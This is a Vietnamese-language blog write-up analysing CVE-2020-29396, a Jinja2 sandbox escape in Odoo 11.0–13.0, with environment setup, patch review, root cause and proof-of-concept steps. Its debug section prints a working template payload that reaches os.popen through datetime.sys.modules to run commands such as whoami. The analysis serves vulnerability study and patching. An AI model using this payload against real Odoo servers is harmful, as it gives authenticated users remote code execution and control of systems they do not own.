Post

(Vietnamese) CVE‑2020‑29396, Remote Code Execution in Odoo via Unsafe Template Globals and Jinja2 Sandbox Bypass

My deep dive analysis into CVE-2020-29396

(Vietnamese) CVE‑2020‑29396, Remote Code Execution in Odoo via Unsafe Template Globals and Jinja2 Sandbox Bypass

I. Overview

Odoo là bộ phần mềm mã nguồn mở phổ biến, cung cấp các module nghiệp vụ như Sales, Invoicing/Accounting, Inventory, Website/Email Marketing, … Do đặc thù nhiều chỗ phải render nội dung động (email/report/website), Odoo sử dụng Jinja2 (sandboxed) để đánh giá các biểu thức trong template, đây cũng là bề mặt tấn công của CVE này.

CVE-2020-29396 là lỗ hổng nghiêm trọng trong nền tảng Odoo xuất phát từ việc sandbox được dùng để sàng lọc dữ liệu người dùng hoạt động chưa đủ hiệu quả dẫn tới những người dùng đã xác thực (authenticated user) và cần phải có một vài quyền hạn nhất định sẽ có khả năng thực thi mã từ xa (RCE), leo quyền hạn và kiểm soát toàn bộ hệ thống.

Theo công bố, tổng cộng sẽ có 3 vị trí / chức năng là entrypoint cho CVE-2020-29396. Đó đều là những chức năng động, có nhận dữ liệu nhập vào từ người dùng bao gồm definition of workflows, automated actions, và những dynamic expressions sử dụng trong các template email, report.

Các phiên bản bị ảnh hưởng của Odoo bao gồm Odoo Enterprise và Odoo Community từ 11.0 đến 13.0

II. Set up local debug environment

Lỗ hổng xảy ra ở Odoo 11.0 - 13.0, mình sẽ cài đặt và debug trên Odoo 11.0, phiên bản này của ứng dụng có những yêu cầu sau đây:

  • Python 3.5+ => Mình sử dụng Python 3.6.8, thêm vào PATH tức biến môi trường, kiểm tra bằng python --version return về Python 3.6.8
  • PostgreSQL => Mình sử dụng PostgreSQL 14.19
  • Source code khi chưa bị vá CVE, mình tìm đúng parent của commit patch CVE-2020-29396: source code v11.0 vulnerable to CVE-2020-29396 => Chính xác là từ parent commit của commit 451cc81, đó là commit ec541ce

image

image

Mình làm theo hướng dẫn chi tiết về Source Install của tài liệu Odoo, để tiện lợi nhất thì mình tải với option Source Install - Virtual Environment. Với mỗi OS khác nhau, cách thực hiện sẽ khác nhau. Hiện mình đang cài trên môi trường của Windows, trong quá trình set up vẫn gặp những lỗi khác nhau, mình sẽ take note lại tất cả những lỗi và cách mình đã fix nó.


Sau khi cài đặt thành công những điều kiện tiên quyết trên, tiến hành cài đặt venv cho python 3.6.8:

1
pip install virtualenv

Tiến tới vị trí để thư mục source Odoo vulnerable lúc nãy đã tải về và unzip, tạo một thư mục venv thông qua câu lệnh. Về bản chất, python venv là một môi trường python độc lập với những thứ đang có trong máy host hoặc các IDE, việc cài như này sẽ tránh các xung đột không đáng có

1
python -m venv odoo-venv

image

Sau khi tải xong, ta sẽ có các thư mục như trong hình, trong đó Scripts sẽ là thứ cần quan tâm ở Windows vì nó chứa lệnh activate để bật venv cmd hoặc powershell. Chạy file activate là ta sẽ vào được venv shell

image

image

Giờ chúng ta sẽ tải các requirements của Odoo:

1
pip install -r requirements.txt

Chắc chắn sẽ gặp một vài lỗi nhưng mình khuyến khích các bạn cứ thử nếu được ngay từ lần đầu thì có thể bỏ qua một vài bước dưới, đây là lỗi đầu tiên mình gặp

image

Lỗi trả về khi tải tới greenlet 0.4.10, đây là 1 phiên bản có thể nói là rất cổ lỗ sĩ, để tải được greenlet thì trong môi trường host phải có sẵn Microsoft Visual C++ 14.0. Với thông tin từ bài viết này, mình biết được rằng để có được thứ này thì ta cần phải tải Visual Studio tím, cài đặt một vài dependency của C++ cụ thể là 3 mục nội dung mình tích trong ảnh dưới đây

Mình tải Visual Studio Installer tại đây, sau đó tại phần C++ mình chọn Indiviual components để tránh tải quá nhiều thứ không cần thiết nặng máy vì mình cũng có sẵn một vài IDE C++ trong host rồi

Bắt buộc phải tải đúng version 14.0 tức MSVC v140, trước đó mình đã tải MSVC v141, v142 nhưng đều không hoạt động

image

Sau khi cài đặt thành công các components tại Visual Studio, khi này mình đã có những file quan trọng cần cho việc tải requirements.txt bằng pip, hãy kiểm tra lại xem file cl.exe đã tồn tại chưa ở C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin

image

Nếu đã tồn tại tức là tạm ổn rồi, tiếp theo là thêm Resource Compiler rc.exe vào biến môi trường PATH, nó thường nằm tại C:\Program Files (x86)\Windows Kits\10\bin\10.0.xxxxx.x\x64\

1
setx PATH "%PATH%;C:\Program Files (x86)\Windows Kits\10\bin\10.0.19041.0\x64"

image

Đoạn này thực sự là sẽ phụ thuộc vào môi trường của các máy khác nhau, những việc thiếu hay đủ một vài thứ cần thiết cho Odoo sẽ khác nhau. Vì vậy, các bạn có thể tra cứu thêm để tải và set up được môi trường cần thiết cho bản thân. Còn với mình, tới đây là đã cài đặt thành công requirements.txt

image

Cuối cùng, để Odoo và PostgreSQL có thể giao tiếp được với nhau, chúng ta cần một thư viện tên là psycopg trong phần document hướng dẫn source install của Odoo link này đã dead nên mình đã fix nó bằng cách tải thẳng binary trong python virtual env

1
pip install psycopg2-binary==2.8.6

Đây mới chỉ là thư viện để PostgreSQL và Odoo giao tiếp, không có tác dụng thay thế PostgreSQL nên ta cần chạy và set up một database, cũng như một user mới cho Postgre. Chạy SQLShell của PostgreSQL rồi thực hiện các thao tác:

1
2
3
CREATE USER anhcd WITH PASSWORD 'h3h3h3h3';
CREATE DATABASE test1db OWNER anhcd;
GRANT ALL PRIVILEGES ON DATABASE test1db TO anhcd;

À quên, để load được các file css của Odoo, vì nó viết dưới dạng lessc của nodejs, ta cần tải nodejs và cài thêm lessc đúng version 2.7.3 để giao diện trong chuẩn chỉ hơn

1
npm install -g less@2.7.3

Sau đó chạy Odoo, bằng file odoo-bin nằm tại root directory của ứng dụng, nếu không có lỗi gì phát sinh thêm ta sẽ có thể truy cập port 8069 ở localhost, khi này giao diện của Odoo sẽ xuất hiện

1
python odoo-bin -d test1db -r anhcd -w h3h3h3h3 --addons-path=addons

image


Vậy là ta đã thành công cài đặt Odoo, giờ ta sẽ set up remote debugger trong VS Code, mình chạy Odoo bằng powershell nên sẽ attach nó vào trong VS Code. Đầu tiên, ta tạo thêm một file launch.json tại VS Code với nội dung như sau

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Python Debugger: Remote Attach",
      "type": "debugpy",
      "request": "attach",
      "connect": { "host": "localhost:5678", "port": 5678 },
      "pathMappings": [{ "localRoot": "${workspaceFolder}", "remoteRoot": "." }]
    },

    {
      "name": "Debug Odoo",
      "type": "python",
      "request": "launch",
      "program": "${workspaceFolder}/odoo-bin",
      "console": "integratedTerminal",
      "justMyCode": false,
      "args": [
        "-d",
        "test1db",
        "-r",
        "anhcd",
        "-w",
        "h3h3h3h3",
        "--addons-path=addons",
        "--xmlrpc-port=8069",
        "--dev=all",
        "--log-level=debug"
      ]
    },
    {
      "name": "Attach to Odoo",
      "type": "python",
      "request": "attach",
      "connect": {
        "host": "127.0.0.1",
        "port": 5678
      },
      "justMyCode": false
    }
  ]
}

Tiến hành cài đặt Python Tools for Visual Studio Debugging (ptvsd) để debug chương trình:

1
pip install ptvsd==4.3.2

Sửa lại nội dung của file odoo-bin, thêm attach debugger ở port 5678, rồi tại cửa sổ Run & Debug góc trên bên trái, chọn Attach to Odoo. Set một vài breakpoint ở các vị trí login,

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3

# set server timezone in UTC before time module imported
__import__('os').environ['TZ'] = 'UTC'
import odoo


import ptvsd
ptvsd.enable_attach(address=('127.0.0.1', 5678))
print("Debugger is ready, attach VSCode on port 5678")

if __name__ == "__main__":
    odoo.cli.main()
1
python odoo-bin -d test1db -r anhcd -w DankCN99 --addons-path=addons --dev=all --log-level=debug

image image

Tiến hành đăng nhập trên localhost:8069, account default là admin admin, khi đó breakpoint trong VScode sẽ được hit và chúng ta đã set up debug thành công hehehe

db2

III. Root Cause Analysis

1. Patch Analysis

Phân tích bản vá của lỗ hổng tại chính xác commit này trên github, mình take note được những điểm đáng chú ý sau:

Đầu tiên, sự xuất hiện của một hàm mới wrap_values, hàm này được sử dụng tại 3 vị trí khác nhau, trong odoo/tools/safe_eval.py được sử dụng 2 lần cho globals_dictlocals_dict và được sử dụng 1 lần tại hàm _compiled_fn của odoo/addons/base/ir/ir_qweb/qweb.py với giá trị values được truyền vào. Chi tiết nội dung của hàm wrap_values như sau:

image

Nhìn chung, hàm wrap_values thường được truyền vào một biến kiểu dict trong python. Nếu không phải dict => return luôn không cần xét nhiều, nhưng nếu là một dict, ta sẽ có flow xử lý như sau:

  • Lấy lần lượt từng phần tử trong dict d là tham số truyền vào => Phần tử thứ tự k đó được gán vào biến v
  • Nếu v là một module, nó đang check bằng isinstance(v, types.ModuleType) thì call hàm wrap_module với tham số v, None
  • Hàm wrap_module sau bản patch sẽ có nội dung như dưới đây
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def wrap_module(module, attr_list):
    """Helper for wrapping a package/module to expose selected attributes

       :param Module module: the actual package/module to wrap, as returned by ``import <module>``
       :param iterable attr_list: a global list of attributes to expose, usually the top-level
            attributes and their own main attributes. No support for hiding attributes in case
            of name collision at different levels.
    """
    class WrappedModule(object):
        def __getattr__(self, attrib):
            # respect whitelist if there is one
            if attr_list is not None and attrib not in attr_list:
                raise AttributeError(attrib)

            target = getattr(module, attrib)
            if isinstance(target, types.ModuleType):
                wrapper = _cache.get(target, _missing)
                if wrapper is None:
                    raise AttributeError(attrib)
                if wrapper is _missing:
                    target = wrap_module(target, attr_list)
                else:
                    target = wrapper
            setattr(self, attrib, target)
            return target
    # module and attr_list are in the closure
    wrapper = WrappedModule()
    _cache.setdefault(module, wrapper)
    return wrapper

=> Hàm wrap_module có tác dụng kiểm soát: nếu có attr_list (whitelist) và attribute không nằm trong whitelist thì AttributeError được ném ra.

Một số vị trí khác rất đáng chú ý, chẳng hạn như việc datetime - một module của python được nhắc tới trong file mail_template.py cũng đã bị sàng lọc thêm một lớp tại bản vá thay vì không có gì như trước đó. Còn lại, mình không thấy những thay đổi khác thực sự quan trọng và có ảnh hưởng tới tính bảo mật của hệ thống

image


2. Root Cause

Nguyên nhân gốc rễ của lỗ hổng xuất phát từ chính cách thiết kế của ứng dụng Odoo. Cụ thể Odoo đã đưa module datetime vào global scope của môi trường render template Jinja2 SandboxedEnvironment, và quá trình render không đi qua safe_eval => Khi kẻ tấn công xây dựng payload, mọi thứ đều hợp lệ với sandbox của Jinja2 vì không dùng __ và cũng chẳng import gì

image

Hình ảnh minh chứng cho thấy Jinja2 SandboxEnvironment thực sự chặn dunder __ và cấm gọi các builtins nguy hiểm

Module datetime - đây chính xác là thứ đã được khắc phục ngay lập tức bằng việc chặn họng ngay một hàm sàng lọc tại bản vá mình nhắc tới ở trên, cụ thể trong source code vulnerable thì mọi thứ trông như thế này:

image

Trong thư mục thư viện chuẩn python 3.6 /lib/datetime.py, chính nội dung file đã import sys ở đầu file => vì vậy nên kẻ tấn công có thể trực tiếp truy cập datetime.sys

Từ sys, ta lại có sys.modules đây là một dict với nội dung bao gồm các module đã được nạp trước đó => Đường thuận tiện để lấy os mà không cần thông qua import

image

image

Như vậy, với cách chain datetime => sys => modules => os, kẻ tấn công đã có thể làm bất kỳ thứ gì chúng muốn

Mặc dù Jinja2 Sandbox vẫn hoạt động nhưng như mình đã đề cập bên trên. Nhưng nó chỉ có thể chặn các dunder và một số kiểu đối tượng/thuộc tính bị coi là unsafe. Trong trường hợp này, ta có thể phân tích như sau:

  • datetime là module được chính Odoo cấp quyền (đưa vào globals)
  • datetime.sys là biến global trong module datetime vì file datetime.py import sys ở top-level ⇒ sys trở thành thuộc tính public của datetime
  • sys.modules là dict các module đã load sẵn => Gọi os mà không cần truy cập builtins, không import, nên lọt hết kiểm tra của sandbox

Ngoài ra, một vấn đề cũng đáng được đề cập là việc nội dung safe_eval() đã rất cố gắng trong việc ngăn chặn những thông tin từ người dùng được thực thi nhưng dường như nó không hề được gọi trong trường hợp của một vài chức năng. Bên dưới đây mình sẽ debug một trong số chúng để chứng minh luận điểm này.

Vấn đề đặt ra bây giờ là ta cần tìm ra những entrypoint tận dụng điểm yếu này để mô phỏng lại lỗ hổng.


3. Debug Analysis

Mặc dù được phân tích đầu tiên, song phần nội dung Root Cause trên lại là kết thúc của cả quá trình khai thác lỗ hổng. Trong thực tế, việc thiết kế như vậy của ứng dụng Odoo khiến cho nhiều vị trí sử dụng logic trên sẽ trở nên vulnerable.

Trong bài viết này, mình sẽ chỉ phân tích luồng thực thi của chương trình khi xử lý nội dung từ người dùng với các chức năng preview / save as template report hoặc email. Ngoài chức năng này ra, có một chức năng khác cũng gặp phải vấn đề tương tự là các chức năng tự động hoá (automated actions/workflows), về bản chất cũng là templates.

Để hiểu rõ đường đi của dữ liệu khi ta bấm Send by Email / Save as new template / Preview. Mình sẽ tiến hành debug, sau nhiều lần false và quan sát call stack, mình rút ra được luồng thực thi chính xác của chương trình như sau:

1
2
3
4
mail.compose.message.onchange_template_id()
   └─► generate_email_for_composer()
        └─► mail.template.generate_email()
             └─► render_template() <= RCE here

Payload đã được sử dụng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- 1) Chứng minh có evaluate -->
<p>TEST1: ${ 'EVAL:' + str(1+1) }</p>

<!-- 2) In ra "hình dạng" của datetime -->
<p>TEST2: ${ 'DT_REPR:' + str(datetime) }</p>

<!-- 3) Truy cập trực tiếp sys từ datetime (không đụng builtins) -->
<p>TEST3: ${ 'SYS_VER:' + datetime.sys.version.split()[0] }</p>

<!-- 4) Lấy module os qua sys.modules (không import) -->
<p>TEST4: ${ datetime.sys.modules['os'].__name__ }</p>

<p>OS_FILE: ${ (datetime.sys.modules['os'].__file__ or 'BUILTIN') }</p>
<p>PLATFORM: ${ datetime.sys.platform }</p>

123123123
<p>TEST4: ${ datetime.sys.modules['os'].popen('whoami').read() }</p>
<p>TEST4: ${ datetime.sys.modules['os'].popen('dir').read() }</p>

image

image

image

image

image

image

=> Thành công thực thi OS command => RCE, đồng thời cũng chứng minh được luận điểm bên trên mình đề cập, trong trường hợp sử dụng các chức năng preview/ save template này code không hề đi qua hàm safe_eval()

IV. PoC

Để minh chứng cho việc khai thác thành công tại những phần nội dung liên quan tới mail_template, mình sẽ để lại PoC cho cả user có quyền hạn admin và internal user với quyền hạn thấp hơn admin.

1. Admin case

Trong trường hợp của admin, ta có thể tìm thấy chức năng preview email templates được đặt tại Setting => Technical => Email => Templates

image

Tiến hành tạo một template mới với những trường thông tin như sau:

image

image


2. Internal user case

Ta tiến hành tạo một profile user mới với những thông tin sau:

image

Để có thể RCE được với quyền hạn của một Internal user thông thường, ta cần đến module Sales, sử dụng tài khoản admin để cài đặt modules này vào Odoo và phần nội dung sẽ hiển thị như bên dưới đây ta mong muốn:

image

image

image

V. Recommendations

Áp dụng các bản vá tương ứng với bản Odoo đang cài, hoặc nâng cấp lên bản mới nhất - bằng cách cập nhật từ GitHub hoặc tải trực tiếp từ trang chủ của Odoo

Để áp dụng bản vá, vào thư mục gốc của cài đặt Odoo (thư mục chứa các thư mục openerp và addons), sau đó chạy lệnh patch, thường như sau:

1
patch -p0 -f < /path/to/the_patch_file.patch

Lệnh này giả định cấu trúc thư mục cài đặt của ta khớp với layout mã nguồn mới nhất của dự án Odoo trên GitHub. Nếu cấu trúc cài đặt có khác, hãy trích từng phần (hunk) của bản vá từ các file và áp dụng thủ công vào vị trí thích hợp trong hệ thống

This post is licensed under CC BY 4.0 by the author.